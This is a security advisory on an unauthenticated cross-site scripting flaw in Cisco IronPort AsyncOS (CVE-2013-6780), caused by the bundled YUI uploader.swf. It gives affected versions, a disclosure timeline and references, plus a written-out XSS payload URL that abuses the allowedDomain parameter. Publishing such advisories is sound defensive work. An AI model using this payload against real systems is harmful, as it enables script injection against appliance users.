Cisco Ironport AsyncOS Cross Site Scripting

                							

                Cisco Ironport AsyncOS Cross Site Scripting
Vendor: Cisco
Product webpage: http://www.cisco.com
Affected version(s): 
  Cisco Ironport ESA - AsyncOS 8.0.1-023
  Cisco Ironport WSA - AsyncOS 8.5.5-022
  Cisco Ironport SMA - AsyncOS 8.4.0-126
Date: 24/02/2015
Credits: Glafkos Charalambous
CVE: CVE-2013-6780

Disclosure Timeline:
28-10-2014: Vendor Notification
28-10-2014: Vendor Response/Feedback
22-01-2015: Vendor Fix/Patch
24-02-2015: Public Disclosure

Description:
Cisco AsyncOS is vulnerable to unauthenticated Cross-site scripting (XSS), caused by improper validation
of user supplied input in the (uploader.swf) Uploader component in Yahoo! versions 2.5.0 through 2.9.0.

An attacker is able to inject arbitrary web script or HTML via the allowedDomain parameter.


XSS Payload:
http(s)://domain.com/yui/uploader/assets/uploader.swf?allowedDomain=\"})))}catch(e){alert('XSS');}//


References:
https://tools.cisco.com/bugsearch/bug/CSCur44409
https://tools.cisco.com/bugsearch/bug/CSCur89626
https://tools.cisco.com/bugsearch/bug/CSCur89624
http://yuilibrary.com/support/20131111-vulnerability/
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-6780
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6780


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